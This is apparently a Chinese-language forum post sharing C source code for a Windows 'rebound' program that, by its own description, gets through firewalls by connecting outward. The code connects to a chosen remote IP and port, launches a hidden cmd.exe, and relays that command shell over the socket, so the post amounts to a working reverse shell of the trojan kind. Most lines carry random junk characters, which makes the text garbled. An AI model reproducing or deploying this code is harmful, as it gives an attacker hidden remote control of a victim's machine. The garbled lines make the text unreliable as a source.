这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cnu&!>8V
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/* ============================== @7Ec(]yp
Rebound port in Windows NT t7f(%/] H0
By wind,2006/7 }J# HIE\RG
===============================*/ L/i'6(="
#include CD&a_-'z$K
#include !D=!
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); #Zdh<.
SOCKET sClient; 3Bl|~K;-
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \lbH
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void main(int argc,char **argv) 1aAOT6h
{ %p 6Ms
WSADATA stWsaData; `i`P}W!F
int nRet; .RroO_H
SOCKADDR_IN stSaiClient,stSaiServer; k-~}KlP
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if(argc != 3) ?/.])'&b
{ jwI2T$
printf("Useage:\n\rRebound DestIP DestPort\n"); .\oz
return; zK6w0
} #(tdJ<HvC|
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WSAStartup(MAKEWORD(2,2),&stWsaData); Vh0cac|X
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WO>,=^zPJ
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stSaiClient.sin_family = AF_INET; tR!C8:u
stSaiClient.sin_port = htons(0); ^]o
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \|>%/P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v~OMm\
{ G8}owszT
printf("Bind Socket Failed!\n"); }XUL\6 U
return; N^QxqQ~
} !$NK7-
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stSaiServer.sin_family = AF_INET; \`y:#N<c
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?l~qb]._
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2D:/.9= 8v
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,=e.QAF!"
{ E{)X ;kN=
printf("Connect Error!"); "`;-5d g
return; ZY<RNwu
} `\@n&y[`7
OutputShell(); 9 m8KDB[N
} Ys.GBSlHG
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void OutputShell() @:im/SE
{ &j~9{ C
char szBuff[1024]; '9QEG/v
SECURITY_ATTRIBUTES stSecurityAttributes; bGwOhd<.
OSVERSIONINFO stOsversionInfo; U?dad}7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; GLIY!BU<C
STARTUPINFO stStartupInfo; 5BA:^4zr?
char *szShell; m$C1Ea-wnT
PROCESS_INFORMATION stProcessInformation; 0to`=;JI
unsigned long lBytesRead; ;39b.v\^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J#Q>dC7
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RL&0?OT
stSecurityAttributes.lpSecurityDescriptor = 0; 1BmKwux:
stSecurityAttributes.bInheritHandle = TRUE; Y;R,ph.a
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +8xT}mX
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n;Mk\*Cg
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Vs TgK
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?#a&eW
stStartupInfo.wShowWindow = SW_HIDE; 7:g_:}m
stStartupInfo.hStdInput = hReadPipe; HPu+ 4xQV
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; q~#>MB}".
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GetVersionEx(&stOsversionInfo); ..Dm@m}
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switch(stOsversionInfo.dwPlatformId) I~6(>Z{
{ ;07$ G+['
case 1: b5MU$}:
szShell = "command.com"; IG|u;PH<
break; =^p}JhQ
default: =p5]r:9W
szShell = "cmd.exe"; s#<fj#S
break; UUDbOxD^w
} 5s\;7>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G0m$bi=z
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send(sClient,szMsg,77,0); F3vywN1$,
while(1) 6|'7Mr~\
{ ELV~
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }fk3a9j9u
if(lBytesRead) ] 7[#K^
{ )?OdD7gd
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); UhDf6A`]
send(sClient,szBuff,lBytesRead,0); Pc&dU1
} ]#DCO8Vk
else <V}q8k
{ 2.</n}g
lBytesRead=recv(sClient,szBuff,1024,0); \:F$7 *Ne
if(lBytesRead<=0) break; %}H
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \:@7)(p\;
} [z\baL|
} ^w%%$9=:r
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return; ugXDnM[S%
}